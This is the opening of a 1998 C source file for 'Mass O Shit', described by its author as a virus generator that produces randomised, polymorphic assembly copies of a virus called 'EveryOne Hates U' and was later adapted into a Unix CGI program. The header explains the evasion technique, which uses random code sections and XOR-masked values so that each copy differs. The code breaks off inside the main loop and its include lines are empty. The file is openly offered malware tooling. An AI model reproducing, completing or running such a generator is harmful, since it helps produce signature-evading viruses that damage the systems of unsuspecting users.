/* Mass O Shit MOS by the Digital Anarchist/DSD featuring Retch EveryOne Hates U! v.4 a shity virus for a shity person Varialbe Assignments cminor This little piggy is used in several places where the random piece of code is a 1 liner. ie replace cwd with xor dx,dx c1-c7 - There are 7 sections of code that have been setup for what is usualy 1 of 6 possible outcomes. c1-c7 represent their respective section c1old - We have to keep track of old values so the next run doesnt produce the c7old same code as the last run. NA in the cgi/web based version. loop1 - Just a variable used for all the logic loops. x,y,z - 3 variables used in the logic that x=y(XOR)z knowing 2 of the variables you can solve for the 3rd. With this knowing what end value you want you can generate a random number for your 1st mov and then XOR that value to get what you really wanted. rn2 - Loop variable for the whole program, wich isnt used in the web version since the web version is a static number of 1. st2 - Originally used as the string equivalent of rn2 7-17-98 Started conversion from borland c++ to gnu c++ Found a few small problems in the asm section and fixed them but that still needs testing to make sure it works .. So call this version .7d The itoa lines should be converted to sprintf The rehu 50/50 needs to be fixed 7-18-98 Fixed the 50/50 section, by changing second check to a 2 vice 0 Found a fixed a problem found mostly in the Minor section. This fix converted all the itoa lines to sprintf. Ready for testing and adjustment for life as cgi 7-20-98 Chased down the problem with the 1st asm of the run always being screwed up. Found a misnake in my initialization of random(). DOH!@ Need to convert this print to the screen vice file. 7-30-98 Cleaned up a bit and completed conversion to something that can be used as a unix based cgi program. Just use the mos.cgi to load up colors and fonts. */ #include #include #include #include #include main(int argc, char *argv[]) { int cminor, c1, c2, c3, c4, c5, c6, c7, c1old, c2old, c3old, c4old, c5old, c6old, c7old, lc1, st2, rn1, rn2, ul1, loop1,x,y,z,xor; FILE *virname, *batname; char ch; char *src, beta[30], s, t; char src1[1000]; char s1[12], s2[8]; srandom(time(NULL)); /* junk values placed in old for 1st run of program */ c1=(random()%6); c2=c1; c3=c1; c4=c1; c5=c1; c6=c1; c7=c1; c1old=c1; c2old=c1; c3old=c1; c4old=c1; c5old=c1; c6old=c1; c7old=c1; st2 = 1; printf ("Mass O Shit v.7d by the Digital Anarchist[DSD]
\n"); printf ("Generating %d random copy of R.E.H.U\n\n
",1);

    for (rn2=0; rn2